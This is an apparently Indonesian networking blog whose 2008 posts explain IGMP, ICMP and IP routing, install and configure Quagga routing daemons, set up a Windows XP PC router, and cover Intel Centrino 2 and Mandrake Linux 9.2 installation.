root@slack:~# killall tcpdump

Versi-versi IGMP

2008-11-15T14:02:00.001+07:00

Hingga saat ini, terdapat dua versi dari protokol IGMP, yakni IGMPv1 (yang didefinisikan dalam RFC 1112) serta IGMPv2 (yang didefinisikan dalam RFC 2236). IGMPv1 hanya mendukung dua jenis pesan IGMP:

* Host membership report (laporan keanggotaan sebuah host): host akan mengirimkan pesan dengan jenis ini untuk menginformasikan router lokal bahwa host tersebut hendak menerima lalu lintas IP multicast yang ditujukan ke sebuah alamat group multicast tertentu.

* Host membership query (permintaan keanggotaan sebuah host): router akan mengirimkan pesan dengan jenis ini untuk memberi tahu kepada segmen jaringan lokal tertentu untuk menentukan apakah ada host dalam segmen yang sedang "mendengarkan" (listening) terhadap lalu lintas multicast atau tidak.

IGMPv2 merupakan pembaruan yang dilakukan terhadap IGMPv1, yang menawarkan beberapa jenis pesan IGMP yang baru:

* Leave group: digunakan oleh host untuk menginformasikan sebuah router bahwa host tersebut merupakan anggota terkhir yang hendak meninggalkan sebuah group multicast sehingga router mengetahui bahwa router tersebut tidak perlu lagi meneruskan lalu lintas multicast IP ke subnet yang bersangkutan.

* Group-specific query: mirip seperti pesan IGMPv1 Host membership query, kecuali jenis ini akan melakukan pengecekan keanggotaan di dalam sebuah group multicast tertentu.

* Multicast querier election: pesan yang mengizinkan sebuah router untuk dipilih untuk mengeluarkan pesan IGMPv1 Host membership query kepada sebuah segmen jaringan tertentu.

IGMPv2 kompatibel secara penuh dengan IGMP v1.

Tentang IGMP - Internet Group Management Protocol

2008-11-15T13:53:00.001+07:00

Internet Group Management Protocol (disingkat menjadi IGMP) adalah salah satu protokol jaringan dalam kumpulan protokol Transmission Control Protocol/Internet Protocol (TCP/IP) yang bekerja pada lapisan jaringan yang digunakan untuk menginformasikan router-router IP tentang keberadaan group-group jaringan multicast.

Sekali sebuah router mengetahui bahwa terdapat beberapa host dalam jaringan yang terhubung secara lokal yang tergabung ke dalam group multicast tertentu, router akan menyebarkan informasi ini dengan menggunakan protokol IGMP kepada router lainnya dalam sebuah internetwork sehingga pesan-pesan multicast dapat diteruskan kepada router yang sesuai. IGMP kemudian digunakan untuk memelihara keanggotaan group multicast di dalam subnet lokal untuk sebuah alamat IP multicast.

IGMP dapat digunakan untuk mentransfer video secara multicast dan juga untuk game online, mengingat untuk tujuan-tujuan tersebut, IGMP jauh lebih efisien dibandingkan dengan metode unicast normal. Meskipun demikian, IGMP rawan diserang, karena itulah pada umumnya produk-produk firewall mengizinkan pengguna untuk menonaktifkannya jika tidak diperlukan.

Internet Control Message Protocol (ICMP)

2008-11-15T13:35:00.002+07:00

Internet Control Message Protocol (ICMP) adalah salah satu protokol inti dari keluarga protokol internet. ICMP utamanya digunakan oleh sistem operasi komputer jaringan untuk mengirim pesan kesalahan yang menyatakan, sebagai contoh, bahwa komputer tujuan tidak bisa dijangkau.

ICMP berbeda tujuan dengan TCP dan UDP dalam hal ICMP tidak digunakan secara langsung oleh aplikasi jaringan milik pengguna. salah satu pengecualian adalah aplikasi ping yang mengirim pesan ICMP Echo Request (dan menerima Echo Reply) untuk menentukan apakah komputer tujuan dapat dijangkau dan berapa lama paket yang dikirimkan dibalas oleh komputer tujuan.

Internet Control Message Protocol (ICMP) adalah bagian dari keluarga protokol Internet dan didefinisikan di dalam RFC 792. Pesan-pesan ICMP umumnya dibuat sebagai jawaban atas kesalahan di datagram IP (seperti yang dispesifikasikan di RFC1122) atau untuk kegunaan pelacakan atau routing.

Versi ICMP terkini juga dikenal sebagai ICMPv4, yang merupakan bagian dari Internet Protocol versi 4

Proses Routing

2008-11-14T13:16:00.001+07:00

Proses Routing IP

Proses routing IP sebenarnya cukup sederhana dan tidak berubah terhadap ukuran network yang anda miliki. Sebagai contoh, kita akan menggunakan gambar berikut untuk menjelaskan langkah demi langkah tentang apa yang terjadi jika host A ingin berkomunikasi dengan host B di sebuah network yang berbeda.

Host A -------------------- Lab A ------------------------ Host B

# (172.16.20.1)

(172.16.10.2
(172.16.20.2)

Pada contoh ini, seorang user di Host A melakukan ping ke alamat IP Host B. Routing tidak lebih sederhana dari ini, tetapi masih sendiri dari banyak langkah. Mari kita membahas langkah-langkah tersebut :

1. Internet Control Message Protocol (ICMP) menciptakan sebuah payload (data) pemintaan echo (di mana isinya hanya abjad di field data).

2. ICMP menyerahkan payload tersebut ke Internet Protocol (IP), yang lalu menciptakansebuah paket. Paling sedikit, paket ini berisi sebuah alamat asal IP, sebuah alamat tujuan IP, dan sebuah field protocol dengan nilai 01h (ingat bahwa Cisco suka menggunakan 0x di depan karakter heksadesimal , jadi di router mungkin terlihat seperti 0x01). Semua itu memberitahukan kepada host penerima tentang kepada siapa host penerima harus menyerahkan payload ketika network tujuan telah dicapai – pada contoh ini host menyerahkan payload kepada protocol ICMP.

3. Setelah paket dibuat, IP akan menentukan apakah alamat IP tujuan ada di network local atau network remote.

4. Karena IP menentukan bahwa ini adalah permintaan untuk network remote, maka paket perlu dikirimkan ke default gateway agar paket dapat di route ke network remote. Registry di Windows dibaca untuk mencari default gateway yang telah di konfigurasi.

5. Default gateway dari host 172.16.10.2 (Host A) dikonfigurasi ke 172.16.10.1. Untuk dapat mengirimkan paket ini ke default gateway, harus diketahui dulu alamat hardware dari interface Ethernet 0 dari router (yang dikonfigurasi dengan alamat IP 172.16.10.1 tersebut) Mengapa demikian? Agar paket dapat diserahkan ke layer data link,lalu dienkapsulasi menjadi frame, dan dikirimkan ke interface router yang terhubung ke network 172.16.10.0. Host berkomunikasi hanya dengan alamat hardware pada LAN local. Penting untuk memahami bahwa Host A, agar dapat berkomunikasi dengan Host B, harus mengirimkan paket ke alamat MAC (alamat hardware) dari default gateway di network local.

6. Setelah itu, cache ARP dicek untuk melihat apakah alamat IP dari default gateway sudah pernah di resolved (diterjemahkan) ke sebuah alamat hardware:

* Jika sudah, paket akan diserahkan ke layer data link untuk dijadikan frame (alamat hardaware dari host tujuan diserahkan bersama tersebut).

* Jika alamat hardware tidak tersedia di cache ARP dari host, sebuah broadcast ARP akan dikirimkan ke network local untuk mencari alamat hardware dari 172.16.10.1. Router melakukan respon pada permintaan tersebut dan menyerahkan alamat hardware dari Ethernet 0, dan host akan menyimpan (cache) alamat ini. Router juga akan melakukan cache alamat hardware dari host A di cache ARP nya.

7. Setelah paket dan alamat hardware tujuan diserahkan ke layer data link, maka driver LAN akan digunakan untuk menyediakan akses media melalui jenis LAN yang digunakan (pada contoh ini adalah Ethernet). Sebuah frame dibuat, dienkapsulasi dengan informasi pengendali. Di dalam frame ini alamat hardware dari host asal dan tujuan, dalam kasus ini juga ditambah dengan field EtherType yang menggambarkan protocol layer network apa yang menyerahkan paket tersebut ke layer data link- dalam kasus ini, protocol itu adalah IP. Pada akhir dari frame itu terdapat sebuah field bernama Frame Check Sequence (FCS) yang menjadi tempat penyimpanan dari hasil perhitungan Cyclic Redundancy Check (CRC).

8. Setelah frame selesai dibuat, frame tersebut diserahkan ke layer Physical untuk ditempatkan di media fisik ( pada contoh ini adalah kabel twisted-pair )dalam bentuk bit-bit, yang dikirim saru per satu.

9. Semua alat di collision domain menerima bit-bit ini dan membuat frame dari bit-bit ini. Mereka masing-masing melakukan CRC dan mengecek jawaban di field FCS. Jika jawabannya tidak cocok, frame akan dibuang.

* Jika CRC cocok, maka alamat hardware tujuan akan di cek untuk melihat apakah alamat tersebut cocok juga (pada contoh ini, dicek apakah cocok dengan interface Ethernet 0 dari router).

* Jika alamat hardware cocok, maka field Ether-Type dicek untuk mencari protocol yang digunakan di layer Network.

10. Paket ditarik dari frame, dan apa yang tertinggal di frame akan dibuang. Paket lalu diserahkan ke protocol yang tercatat di field Ether-Type—pada contoh ini adalah IP.

11. IP menerima paket dan mengecek alamat tujuan IP. Karena alamat tujuan dari paket tidak sesuai dengan semua alamat yang dikonfigurasi di router penerima itu sendiri, maka router penerima akan melihat pada alamat IP network tujuan di routing tablenya.

12. Routing table harus memiliki sebuah entri di network 172.16.20.0, jika tidak paket akan dibuang dengan segera dan sebuah pesan ICMP akan dikirimkan kembali ke alamat pengirim dengan sebuah pesan “destination network unreachable” (network tujuan tidak tercapai)

13. Jika router menemukan sebuah entri untuk network tujuan di tabelnya, paket akan dialihkan ke interface keluar (exit interface)—pada contoh, interface keluar ini adalah interface Ethernet 1.

14. Router akan melakuakan pengalihan paket ke buffer Ethernet 1.

15. Buffer Ethernet 1 perlu mengetahui alamat hardware dari host tujuan dan pertama kali ia akan mengecek cache ARP-nya.

* Jika alamat hardware dari Host B sudah ditemukan, paket dan alamat hardware tersebut akan diserahkan ke layer data link untuk dibuat menjadi frame.

* Jika alamat hardware tidak pernah diterjemahkan atau di resolved oleh ARP (sehingga tidak dicatat di cache ARP), router akan mengirimkan sebuah permintaan ARP keluar dari interface E1 untuk alamat hardware 172.16.20.2.

Host B melakukan respon dengan alamat hardwarenya, dan paket beserta alamat hardware tujuan akan dikirimkan ke layer data link untuk dijadikan frame.

16. Layer data link membuat sebuah frame dengan alamat hardware tujuan dan asal , field Ether-Type, dan field FCS di akhir dari frame. Frame diserahkan ke layer Physical untuk dikirimkan keluar pada medium fisik dalam bentuk bit yang dikirimkan satu per satu.

17. Host B menerima frame dan segera melakuakan CRC. Jika hasil CRC sesuai dengan apa yang ada di field FCS, maka alamat hardware tujuan akan dicek. Jika alamat host juga cocok, field Ether-Type akan di cek untuk menentukan protocol yang akan diserahi paket tersebut di layer Network—Pada contoh ini, protocol tersebut adalah IP.

Routing IP

2008-11-14T13:10:00.003+07:00

Routing IP adalah proses memindahkan paket dari satu network ke network yang lain menggunakan router-router. Sebuah routing protocol digunakan oleh router untuk secara dinamis menemukan semua network di sebuah internetwork, dan memastikan bahwa semua router memiliki routing table yang sama. Pada dasarnya, sebuah routing protocol menentukan jalur (path) yang dilalui oleh sebuah paket melalui sebuah internetwork.

Setelah semua router mengetahui tentang semua network,sebuah routed protocol dapat digunakan untuk mengirimkan data user (paket) melalui jaringan yang sudah ada. Routed protocol ditugaskan ke sebuah interface dan menentukan metode pengiriman paket. Contoh dari routed protocol adalah IP dan IPX.

Istilah routing digunakan untuk proses pengambilan sebuah paket dari sebuah alat dan mengirimkannya melalui network kea lat lain disebuah network yang berbeda. Router tidak peduli atau tidak memperhatikan tentang host—mereka hanya memperhatikan tentang network dan jalur terbaik ke setiap network.

Jika network anda tidak memiliki router,maka jelas anda tidak melakukan routing. Router melakukan routing lalu-lintas data ke semua network di internetwork anda. Agar anda bisa melakukan routing paket,sebuah router harus mengetahui, paling sedikit, hal-hal berikut ini :

* Alamat tujuan
* Router-router tetangga dari mana sebuah router bisa mempelajari tentang network remote.
* Route yang mungkin ke semua network remote
* Route terbaik untuk setiap network remote.
* Bagaimana menjaga dan memverifikasi informasi routing.

Router mempelajari tentang network-network remote dari router-router tetangga atau dari seorang administrator. Router kemudian akan membuat sebuah routing table yang menggambarkan bagaimana menemukan network-network remote. Jika sebuah nerwork terhubung secara langsung, maka router sudah tahu bagaimana menghubungi network itu. Jika sebuah network tidak terhubung secara langsung, router harus mempelajari bagaimana cara mencapai network remote tersebut dengan dua cara : mengguanakan routing statis,yang berarti seseorang harus mengetikan dengan tangan tentang semua lokasi network ke routing table,atau melalui apa yang disebut routing dinamis.

Pada routing dinamis, sebuah protocol pada satu router berkomunikasi dengan protocol yang sama yang bekerja di router tetangga. Router kemudian akan saling melakuakan update tentang semua network yang mereka ketahui dan menempatkan informasi tersebut ke routing table. Jika suatu perubahan terjadi di network,maka protocol routing dinamis secara otomatis akan memberitahukan semua router tentang apa yang terjadi. Jika routing statis digunakan,maka seorang administrator bertanggung jawab untuk melakuakan update semua perubahan tersebut,secara manual ke semua router. Biasanya, pada sebuah network yang besar,digunakan kombinasi dari routing dinamis dan routing statis.

Definisi,Fungsi,Serta Jenis-jenis dari Router

2008-11-12T20:26:00.004+07:00

Router adalah sebuah alat jaringan komputer yang mengirimkan paket data melalui sebuah jaringan atau Internet menuju tujuannya, melalui sebuah proses yang dikenal sebagai routing. Proses routing terjadi pada lapisan 3 (Lapisan jaringan seperti Internet Protocol) dari stack protokol tujuh-lapis OSI.

1. Fungsi

Router berfungsi sebagai penghubung antar dua atau lebih jaringan untuk meneruskan data dari satu jaringan ke jaringan lainnya. Router berbeda dengan switch. Switch merupakan penghubung beberapa alat untuk membentuk suatu Local Area Network (LAN).

Analogi Router dan S
Analogi Router dan Switch

Sebagai ilustrasi perbedaan fungsi dari router dan switch adalah switch merupakan suatu jalanan, dan router merupakan penghubung antar jalan. Masing-masing rumah berada pada jalan yang memiliki alamat dalam suatu urutan tertentu. Dengan cara yang sama, switch menghubungkan berbagai macam alat, dimana masing-masing alat memiliki alamat IP sendiri pada sebuah LAN.

Router Wi-Fi D-Link
Router Wi-Fi D-Link

Router sangat banyak digunakan dalam jaringan berbasis teknologi protokol TCP/IP, dan router jenis itu disebut juga dengan IP Router. Selain IP Router, ada lagi AppleTalk Router, dan masih ada beberapa jenis router lainnya. Internet merupakan contoh utama dari sebuah jaringan yang memiliki banyak router IP. Router dapat digunakan untuk menghubungkan banyak jaringan kecil ke sebuah jaringan yang lebih besar, yang disebut dengan internetwork, atau untuk membagi sebuah jaringan besar ke dalam beberapa subnetwork untuk meningkatkan kinerja dan juga mempermudah manajemennya. Router juga kadang digunakan untuk mengoneksikan dua buah jaringan yang menggunakan media yang berbeda (seperti halnya router wireless yang pada umumnya selain ia dapat menghubungkan komputer dengan menggunakan radio, ia juga mendukung penghubungan komputer dengan kabel UTP), atau berbeda arsitektur jaringan, seperti halnya dari Ethernet ke Token Ring.

Router juga dapat digunakan untuk menghubungkan LAN ke sebuah layanan telekomunikasi seperti halnya telekomunikasi leased line atau Digital Subscriber Line (DSL). Router yang digunakan untuk menghubungkan LAN ke sebuah koneksi leased line seperti T1, atau T3, sering disebut sebagai access server. Sementara itu, router yang digunakan untuk menghubungkan jaringan lokal ke sebuah koneksi DSL disebut juga dengan DSL router. Router-router jenis tersebut umumnya memiliki fungsi firewall untuk melakukan penapisan paket berdasarkan alamat sumber dan alamat tujuan paket tersebut, meski beberapa router tidak memilikinya. Router yang memiliki fitur penapisan paket disebut juga dengan packet-filtering router. Router umumnya memblokir lalu lintas data yang dipancarkan secara broadcast sehingga dapat mencegah adanya broadcast storm yang mampu memperlambat kinerja jaringan.
2. Jenis-jenis router

Secara umum, router dibagi menjadi dua buah jenis, yakni:

- static router (router statis): adalah sebuah router yang memiliki tabel routing statis yang diset secara manual oleh para administrator jaringan.

- dynamic router (router dinamis): adalah sebuah router yang memiliki dab membuat tabel routing dinamis, dengan mendengarkan lalu lintas jaringan dan juga dengan saling berhubungan dengan router lainnya.

Apa itu Quagga?

2008-11-12T13:17:00.000+07:00

Bila mendengar kata router, bisa dipastikan insan teknologi informasi pasti mengingat sebuah merk terkenal dalam dunia jaringan. Anda tahu itu apa! Bagaimana dengan sistem operasi GNU/Linux yang sangat kita sukai? Apakah ada software yang digunakan untuk melakukan proses routing dengan standar protokol routing yang ada? Ya! Tentu saja ada!

Adalah software yang bernama Quagga. Software ini adalah proyek sempalan dari proyek pendahulunya yaitu zebra. Proyek ini dimulai oleh Kunihiro Ishiguro dan Yoshinari Yoshikawa. Berbeda dengan pengembangan zebra sangat tersentral pada para developernya, quagga ingin melibatkan lebih jauh para penggunanya. Selain itu tampaknya proyek zebra kurang begitu aktif.

Quagga mendukung protokol routing OSPFv2, OSPFv3, RIP v1 and v2, RIPng and BGP-4. Masing-masing protokol dilayani oleh sebuah modul yang sesuai dengan nama protokolnya masing-masing, yaitu:

* zebra, adalah layanan yang menjembatani komponen yang menjalankan protokol routing (disebut dengan Zserv client) dan table routing kernel.
* ospfd, adalah layanan yang menjalankan protokol routing OSPFv2.
* ripd, adalah daemon yang menjalankan protokol routing RIP versi 1 dan versi 2.
* ospf6d, melayani protokol routing OSPF yang sudah mendukung IPv6, atau sering disebut dengan standar OSPFv3.
* ripng, adalah program yang manjalankan protokol routing RIPng.
* bgpd, untuk melayani protokol BGPv4+.

Selain di sistem operasi GNU/Linux, quagga juga bisa berjalan di FreeBSD, NetBSD, dan Sun Solaris.

Kita bisa mendapatkan quagga dalam bentuk kode sumber dan binary untuk masing-masing platform yang telah disebutkan di atas. Dapatkan software tersebut dari http://quagga.net/download/.

Contoh :

!
! Zebra configuration saved from vty
! 2007/06/26 09:25:26
!
hostname router-a
password zebra
log file /var/log/quagga/ripd.log
!
debug rip events
debug rip packet
debug rip zebra
!
interface eth0
no ip rip authentication mode
!
interface eth1
no ip rip authentication mode
!
interface eth2
no ip rip authentication mode
!
interface ip
no ip rip authentication mode
!
interface lo
ip rip authentication mode text
!
interface sit0
ip rip authentication mode text
!
router rip
network 192.168.10.0/24
network 192.168.40.0/24
network 192.168.50.0/24
!
line vty
!

Definisi dan Cara Installasi Quangga

2008-11-12T13:00:00.001+07:00

Quagga adalah sebuah software aplikasi yang digunakan untuk
aplikasi routing protokol.
Bagian quagga ada beberapa macam:
1. Zebra – merupakan bagian penghubung antara linux kernel dengan aplikasi routing protokol.
2. Routing Daemon – merupakan aplikasi pengatur routing protokol.
Misal: ospfd adalah daemon yang mengatur routing protocol OSPF, ripd adalah daemon yang mengatur routing protokol RIP

Perintah Quagga mirip dengan perintah yang ada di CISCO router.
Untuk installasi :

Router # aptget-get install quagga

File konfigurasi awal di /etc/quagga

Router # ls /etc/quagga

Daemons

debian.conf

Aktifkan quagga dengan mengedit file /etc/quagga/daemons

Router # vim /etc/quagga/daemons

Rubah protokol yang kita inginkan dengan merubah “no” menjadi
“yes”, contoh :

zebra = yes

ospfd = yes

artinya kita mengaktifkan zebra (wajib) dan protokol OSPF, begitu
juga dengan protokol yang lainnya

Membuat konfigurasi awal, list konfigurasi yang digunakan quagga :
– zebra.conf — untuk aplikasi zebra
– ospfd.conf — untuk routing protokol OSPF
– ripd.conf — untuk routing protokol RIP
– bgpd.conf — untuk routing protokol BGP

Bisa juga dengan cara mencopy contoh konfigurasi di documentation

Router# cp /usr/share/doc/quagga/examples/zebra.conf.sample /etc/quagga/zebra.conf

Begitu juga file konfigurasi lainnya.

Untuk menjalankan daemon quagga, jalankan perintah:

Router# /etc/init.d/quagga start

Begitu juga untuk stop dan restart

Router# /etc/init.d/quagga stop

Router# /etc/init.d/quagga restart

PC dengan aplikasi quagga, dimana apabila kita ingin membangun jaringan dengan OSPF menggunakan quagga langkah-langkah yang harus dilakukan adalah :

– Mengaktifkan quagga setelah membuat konfigurasi awal
Router # /etc/init.d/quagga start
Starting Quagga daemons (prio:10): zebra ospfd.

– Melihat daemon konfigurasi dengan perintah (misal : ospf)

Router # netstat nlptu | grep zebra

tcp 0 0 127.0.0.1:2601

0.0.0.0:* LISTEN 2096/zebra

Router # netstat nlptu | grep ospf

tcp 0 0 127.0.0.1:2604

0.0.0.0:* LISTEN 2100/ospfd

– artinya Zebra bekerja pada port 2601 dan ospfd pada 2604, begitu juga apabila kita menggunakan “ripd” dan yang lainnya

– Mengkonfigurasi zebra (password default “zebra”) :

Router # telnet localhost 2601 / telnet localhost zebra

Trying 127.0.0.1…

Connected to localhost.localdomain.

Escape character is ‘^]’.

Hello, this is Quagga (version 0.98.3).

Copyright 19962005

Kunihiro Ishiguro, et al.

User Access Verification

Password:

Router> en

Password:

Router#

– Begitu juga dengan ospfd

Trying 127.0.0.1…

Connected to localhost.localdomain.

Escape character is ‘^]’.

Hello, this is Quagga (version 0.98.3).

Copyright 19962005

Kunihiro Ishiguro, et al.

User Access Verification

Password:

Router> en

Password:

ospfd# conf t

ospfd(config)# router ospf

ospfd(configrouter)#network 10.252.108.0/24 area 0

Tutorial Membuat PC Router

2008-11-12T08:12:00.003+07:00

Secara umum router didefinisikan sebagai sebuah alat jaringan komputer yang mengirimkan paket data melalui sebuah jaringan atau Internet menuju tujuannya. Sedangkan fungsi dari router itu sendiri adalah sebagai dua atau lebih jaringan untuk meneruskan data dari satu komputer ke komputer lainnya dalam sebuah jaringan.

Router juga banyak digunakan untuk menghubungkan jaringan yang lebih kecil ke jaringan yang lebih besar, atau bisa juga digunakan untuk membagi jaringan besar ke menjadi subjaringan yang lebih banyak.

Pada pembahasan ini, kita akan mencoba membuat sebuah router PC sederhana untuk menghubungkan sebuah jaringan komputer. PC router ini hampir sama fungsinya dengan router lainnya yang dijual oleh perusahaan-perusahaan pembuat router.

Untuk bisa membuat PC router sederhana, kita tidak perlu dahulu menggunakan sistem operasi Windows server atau sekeluarga. Yang kita butuhkan hanyalah sistem Windows Xp Profesional biasa yang terinstall disemua komputer yang akan terhubung dalam sistem jaringan yang akan kita buat. Berikut ini adalah alat-alat yang kita butuhkan untuk membuat PC Router biasa :

1. Sebuah PC yang akan kita jadikan PC Router yang telah dipasang dua buah LAN Card (NIC)
2. Kabel LAN UTP yang sudah siap pakai
3. Switch atau Hub 8 port

Langkah selanjutnya adalah mengkonfigurasi PC yang akan kita jadikan PC Router. Untuk mengkonfigurasi dapat dilakukan dengan membuka Control Panel à Pilih Network Connections à Klik kanan pada LAN Card Pertama à Pilih Properties.

Pada tab General, pilih Internet Protocol (TCP/IP) à pilih Properties à Masukan IP Address untuk PC yang akan dijadikan PC Router. Atau jika PC router ini akan dijadikan sebagai share internet bagi anggota jaringan lainnya, masukan IP Static yang diperoleh dari ISP pada NIC yang pertama. Masukan secara lengkap IP Address Static, DNS, ALT DNS serta default gateway yang diperoleh dari ISP. Klik OK untuk menutup konfigurasi. (konfigurasi NIC pertama sudah selesai). Sekarang lakukan pengetesan dengan menge- ping DNS yang kita masukan tadi. Misal konfigurasi NIC pertama :

IP Address : 192.168.47.63

Subnet Mask : 255.255.255.240

Default Gateway : 192.168.47.66

DNS : 203.157.31.1

ALT DNS : 203.157.32.2

Cek koneksi melalui Start à Run à ketikan ping 203.157.31.1 –t

Jika koneksi tersambung maka akan ada konfirmasi

Reply from 203.157.31.1 : bytes = 32 time= 5 ms TTL 512

….

Langkah selanjutnya adalah mengkonfigurasi NIC yang kedua. Langkah ini sama dengan konfigurasi NIC pertama. Bedanya, pada NIC ini adalah alamat IP komputer yang akan dijadikan Router. IP Address dan gateway pada NIC kedua inilah yang nantinya akan dijadikan default gateway bagi komputer client. Konfigurasi pada NIC kedua ini yang akan dijadikan patokan nantinya dalam pengalamatan IP pada PC client. Misalkan konfigurasi untuk NIC kedua adalah sebagai berikut :

IP Address : 192.168.10.1

Subnet Mask : 255.255.255.0

Default Gateway : 192.168.10.1

DNS : 203.157.31.1 (mengikuti DNS ISP)

ALT DNS : 203.157.32.2 (mengikuti DNS ISP)

Konfigurasi untuk PC yang akan kita jadikan telah selesai dan siap untuk dihubungkan dengan komputer client. Pasangkan Switch atau hub melalui NIC kedua kemudian sambungkan PC client melalui Hub tersebut dengan mengkonfigurasi IP Address sesuai dengan default gateway yang ada pada NIC kedua.

Autonomous System

2008-11-12T08:09:00.000+07:00

Autonomous System atau yang disingkat AS adalah suatu kelompok yang terdiri dari satu atau lebih IP Prefix yang terkoneksi yang dijalankan oleh satu atau lebih operator [[jaringan komputer|jaringan] dibawah satu kebijakan routing yang didefinisikan dengan jelas.

AS diperlukan bila suatu jaringan terhubung ke lebih dari satu AS yang memiliki kebijakan routing yang berbeda. Contoh yang paling sering dijumpai adalah: jaringan yang terhubung kepada dua upstream atau lebih ataupun eXchange Point, peering dengan jaringan lokal pada eXchange Point. Autonomous System Number atau yang disingkat ASN adalah nomor two-byte unik yang diasosiasikan dengan AS. ASN digunakan sebagai pengidentifikasi yang memungkinkan AS untuk saling menukar informasi routing dinamik dengan AS yang lain. Protokol routing eksterior seperti Border Gateway Protocol (BGP) membutuhkan ASN untuk saling bertukar informasi antara jaringan.

Microprocessor Intel Centrino 2

2008-11-10T14:22:00.004+07:00

Raksasa microprocessor Intel, 15 Juli 2008 lalu merilis produk terbaru berupa Intel Centrino 2. Centrino 2 merupakan platform Intel yang terbaru setelah mengalami perubahan yang telah diluncurkan pada tahun 2003. Platform itu dibuat dalam dua versi. Yakni, untuk konsumen biasa dan VPro yang khusus diperuntukkan para profesional. Untuk sementara, Centrino 2 tersebut tersedia dalam versi laptop. Yang untuk PC desktop masih dalam tahap pengembangan. Produk microprocessors baru ini, diklaim mempunyai kapabilitas tinggi. Termasuk, daya tahan baterai dan pemutaran video untuk resolusi tinggi.

Kelebihan lain dari Centrino 2 ini adalah hasil gambar grafis yang biasa digunakan untuk game akan kelihatan lebih nyata dibandingkan dengan produk sebelumnya.

Di kesempatan yang sama, Intel juga memperkenalkan Chipset Mobile Intel 45 Express dan wireless Intel Wi-Fi Link 5000, yang dapat memberikan rate data tercepat hingga maksimal 450Mbps.

Mooly Eden, vice president Intel Corporate dan general manager Intel Mobile Platforms Group pernah berujar, sekarang penjualan laptop sudah menyaingi komputer desktop di Amerika Serikat. Pihakya pun menyediakan kapabilitas tinggi untuk entertainment, online gaming, dan wireless broadband yang cepat. Perfoma Platform ini juga memberikan kinerja laptop menjadi lebih cepat, lebih menghemat energi karena di dalamnya terdapat chip Core 2 Duo yang bekerja pada 2.26GHz dan 3.06GHz. Selain itu, support untuk jaringan wireless 802.11n dan WiMax broadband tanpa kabel, yang akan membuat pengguna laptop dapat menggunakan konektivitas wirelessnya dengan kecepatan yang bagus.

Di dalamnya terdapat pula chip Penryn yang menggunakan proses 45-nanometer, dengan 3 prosesor baru yang bekerja menggunakan energi sebesar 25 watt. Ini lebih hemat karena laptop Centrino model dahulu menggunakan energi sebesar 35 watt yang berarti terjadi penghematan 10 watt. Kelebihan lain dari laptop Centrino 2 yaitu grafiknya lebih bagus dibandingkan terdahulu.
Sementara laptop Centrino 2 ini, dijual dalam bandrol seharga €619 (US$963). Hal ini, jika dengan menggunakan chip Core 2 Duo, RAM 4 Giga byte, layar 15.4 inch, kemampuan WiMax dan wireless A/G/N networking. Perintis laptop yang menggunakan chip Centrino 2 dengan prosesor Core 2 Duo yaitu perusahaan PC asal Australia. Laptopnya dinamakan DreamBook Style 9008 dengan layar 15.4 inchi dan RAM 4 Giga bytes dijual dengan harga $1,399 (US$1,334). Chip processor seperti Digital Spyders dan Provantage sudah menawarkan chip Centrino 2 dengan Core 2 Duo seri T9600 yang berjalan pada 2.8 GHz dengan chase memory 6 Mega bytes dijual dengan harga US$570. Intel Core 2 Duo seri T9400 yang berjalan pada 2.53 GHz dan chase memory 6 Mega bytes dijual dengan harga $330 s/d $360 pada websitenya.

Paduan Instalasi Mandrake Linux 9.2

2008-11-08T13:53:00.002+07:00

Distribusi linux Mandrake, merupakan salah satu distribusi yang populer di Indonesia, apalagi dengan adanya dukungan bahasa Indonesia. Keluaran terbaru dari Mandrake, Mandrake 9.2, merupakan pilihan tepat bagi mereka yang ingin serius mengganti sistem operasi dengan linux. Selain interface yang user-friendly, dukungan teknis dari vendor distribusi ini luar biasa.

Distribusi linux Mandrake, merupakan salah satu distribusi yang populer di Indonesia, apalagi dengan adanya dukungan bahasa Indonesia. Keluaran terbaru dari Mandrake, Mandrake 9.2, merupakan pilihan tepat bagi mereka yang ingin serius mengganti sistem operasi dengan linux. Selain interface yang user-friendly, dukungan teknis dari vendor distribusi ini luar biasa.

Tulisan berikut memandu anda menginstalasi Mandrake Linux 9.2 yang dirilis pada akhir 2003. Selamat membaca

1. Boot langsung dari CD

CDROM Instalasi adalah CD bootable. Silakan masukkan CD ke dalam drive dan reboot komputer. Lalu ikuti instruksi yang ditampilkan di layar: tekan [Enter] untuk memulai instalasi, atau [F1] untuk bantuan tambahan.

CATATAN:

Pada beberapa jenis komputer jinjing, sistem mungkin tidak dapat melakukan boot dari CD. Jika hal ini terjadi pada Anda, buatlah disket boot.

2. Membuat disket boot dari Mindows

Bila komputer Anda tidak dapat memboot dari CDROM dan metode-metode di atas tak dapat dilakukan, buatlah boot disk sebagai berikut:

* masukkan CDROM, buka ikon "My Computer", lalu klik kanan pada drive CDROM dan pilih "Open"
* masuklah ke dalam folder "dosutils" dan klikganda pada ikon "rawwritewin"
* masukkan disket kosong pada drive
* pilih "D:\images\cdrom.img" pada kolom "Image File" (asumsikan drive CDROM Anda adalah "D:", bila bukan itu, silakan ganti)
* pilih "A:" pada kolom "Floppy Drive" lalu klik "Write".

Untuk memulai instalasi:

* Masukkan CDROM pada drive, juga disket boot lalu,
* restart komputer.

3. Cara instalasi lainnya

Bila Anda tidak ingin menggunakan cara instalasi di atas, (misalnya ingin melakukan instalasi lewat jaringan, atau dari device pcmcia atau ...) Anda juga perlu membuat disket boot:

* Dari Linux (atau sistem Unix modern lainnya), pada prompt ketikkan :
$ dd if=xxxxx.img of=/dev/fd0

* Di Mindows, ikuti langkah pada poin 3 namun gunakan xxxxx.img (lihat keterangan di bawah) dan bukan cdrom.img.

* Di DOS, misalnya CD ada pada drive D, ketikkan:
D:\> dosutils\rawrite.exe -f images\xxxxx.img -d A

Berikut adalah daftar image boot:

`cdrom.img`	instal dari CD-ROM
`hd.img`	instal dari hard-disk (dari sistemfile Linux, Mindows, atau ReiserFS)
`network.img`	instal dari ftp/nfs/http
`other.img`	instalasi menggunakan driver yang jarang dipakai dan tak cocok dengan disket di atas
`pcmcia.img`	instal dari device pcmcia (awas, kebanyakan adapter jaringan pcmcia kini di-support langsung oleh `network.img`)
`usb.img`	instal dari device USB: adapter jaringan USB untuk instalasi jaringan, atau CDROM/CDRW USB untuk instalasi cdrom
`blank.img`	instalasi menggunakan kernel Linux Anda sendiri

blank.img adalah image minimal untuk meng-customize instalasi kernel.

Anda juga dapat menggunakan instalasi dalam mode teks bila Anda mengalami kesulitan dalam menggunakan instalasi grafis. Untuk menggunakannya tekan [F1] pada layar pembukaan Mandrake Linux, lalu ketikkan text pada prompt.

